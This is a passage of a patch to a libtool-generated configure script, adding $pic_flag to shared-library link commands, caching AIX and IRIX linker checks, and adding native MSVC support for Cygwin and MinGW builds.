-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -10294,7 +10887,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -10318,10 +10911,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -10400,23 +10993,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10501,7 +11107,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -10520,9 +11126,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -11098,8 +11704,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -11132,13 +11739,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -11230,7 +11895,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -12026,7 +12691,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 12029 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -12070,10 +12735,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12132,7 +12797,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 12135 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -12176,10 +12841,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12571,6 +13236,7 @@ $RM -r conftest*
-
- # Allow CC to be a program name with arguments.
- lt_save_CC=$CC
-+ lt_save_CFLAGS=$CFLAGS
- lt_save_LD=$LD
- lt_save_GCC=$GCC
- GCC=$GXX
-@@ -12588,6 +13254,7 @@ $RM -r conftest*
- fi
- test -z "${LDCXX+set}" || LD=$LDCXX
- CC=${CXX-"c++"}
-+ CFLAGS=$CXXFLAGS
- compiler=$CC
- compiler_CXX=$CC
- for cc_temp in $compiler""; do
-@@ -12870,7 +13537,13 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
- allow_undefined_flag_CXX='-berok'
- # Determine the default libpath from the value encoded in an empty
- # executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath__CXX+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -12883,22 +13556,29 @@ main ()
- _ACEOF
- if ac_fn_cxx_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath__CXX
-+fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
-
-@@ -12911,7 +13591,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath__CXX+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -12924,22 +13610,29 @@ main ()
- _ACEOF
- if ac_fn_cxx_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath__CXX=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath__CXX"; then
-+ lt_cv_aix_libpath__CXX="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath__CXX
-+fi
-
- hardcode_libdir_flag_spec_CXX='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -12982,29 +13675,75 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- ;;
-
- cygwin* | mingw* | pw32* | cegcc*)
-- # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
-- # as there is no search path for DLLs.
-- hardcode_libdir_flag_spec_CXX='-L$libdir'
-- export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
-- allow_undefined_flag_CXX=unsupported
-- always_export_symbols_CXX=no
-- enable_shared_with_static_runtimes_CXX=yes
--
-- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- # If the export-symbols file already is a .def file (1st line
-- # is EXPORTS), use it as is; otherwise, prepend...
-- archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-- cp $export_symbols $output_objdir/$soname.def;
-- else
-- echo EXPORTS > $output_objdir/$soname.def;
-- cat $export_symbols >> $output_objdir/$soname.def;
-- fi~
-- $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-- else
-- ld_shlibs_CXX=no
-- fi
-- ;;
-+ case $GXX,$cc_basename in
-+ ,cl* | no,cl*)
-+ # Native MSVC
-+ # hardcode_libdir_flag_spec is actually meaningless, as there is
-+ # no search path for DLLs.
-+ hardcode_libdir_flag_spec_CXX=' '
-+ allow_undefined_flag_CXX=unsupported
-+ always_export_symbols_CXX=yes
-+ file_list_spec_CXX='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds_CXX='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ $SED -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ $SED -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, CXX)='true'
-+ enable_shared_with_static_runtimes_CXX=yes
-+ # Don't use ranlib
-+ old_postinstall_cmds_CXX='chmod 644 $oldlib'
-+ postlink_cmds_CXX='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ func_to_tool_file "$lt_outputfile"~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # g++
-+ # _LT_TAGVAR(hardcode_libdir_flag_spec, CXX) is actually meaningless,
-+ # as there is no search path for DLLs.
-+ hardcode_libdir_flag_spec_CXX='-L$libdir'
-+ export_dynamic_flag_spec_CXX='${wl}--export-all-symbols'
-+ allow_undefined_flag_CXX=unsupported
-+ always_export_symbols_CXX=no
-+ enable_shared_with_static_runtimes_CXX=yes
-+
-+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
-+ archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ # If the export-symbols file already is a .def file (1st line
-+ # is EXPORTS), use it as is; otherwise, prepend...
-+ archive_expsym_cmds_CXX='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ cp $export_symbols $output_objdir/$soname.def;
-+ else
-+ echo EXPORTS > $output_objdir/$soname.def;
-+ cat $export_symbols >> $output_objdir/$soname.def;
-+ fi~
-+ $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-+ else
-+ ld_shlibs_CXX=no
-+ fi
-+ ;;
-+ esac
-+ ;;
- darwin* | rhapsody*)
-
-
-@@ -13110,7 +13849,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- ;;
- *)
- if test "$GXX" = yes; then
-- archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds_CXX='$RM $output_objdir/$soname~$CC -shared -nostdlib $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- # FIXME: insert proper C++ library support
- ld_shlibs_CXX=no
-@@ -13181,10 +13920,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- ia64*)
-- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- *)
-- archive_cmds_CXX='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
-+ archive_cmds_CXX='$CC -shared -nostdlib $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
- ;;
- esac
- fi
-@@ -13225,9 +13964,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- *)
- if test "$GXX" = yes; then
- if test "$with_gnu_ld" = no; then
-- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
-- archive_cmds_CXX='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` -o $lib'
- fi
- fi
- link_all_deplibs_CXX=yes
-@@ -13297,20 +14036,20 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- prelink_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $objs $libobjs $compile_deplibs~
-- compile_command="$compile_command `find $tpldir -name \*.o | $NL2SP`"'
-+ compile_command="$compile_command `find $tpldir -name \*.o | sort | $NL2SP`"'
- old_archive_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $oldobjs$old_deplibs~
-- $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | $NL2SP`~
-+ $AR $AR_FLAGS $oldlib$oldobjs$old_deplibs `find $tpldir -name \*.o | sort | $NL2SP`~
- $RANLIB $oldlib'
- archive_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
- archive_expsym_cmds_CXX='tpldir=Template.dir~
- rm -rf $tpldir~
- $CC --prelink_objects --instantiation_dir $tpldir $predep_objects $libobjs $deplibs $convenience $postdep_objects~
-- $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
-+ $CC -shared $pic_flag $predep_objects $libobjs $deplibs `find $tpldir -name \*.o | sort | $NL2SP` $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
- ;;
- *) # Version 6 and above use weak symbols
- archive_cmds_CXX='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
-@@ -13505,7 +14244,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- *)
-- archive_cmds_CXX='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- ;;
- esac
-
-@@ -13551,7 +14290,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- archive_cmds_need_lc_CXX=yes
- no_undefined_flag_CXX=' -zdefs'
-@@ -13592,9 +14331,9 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
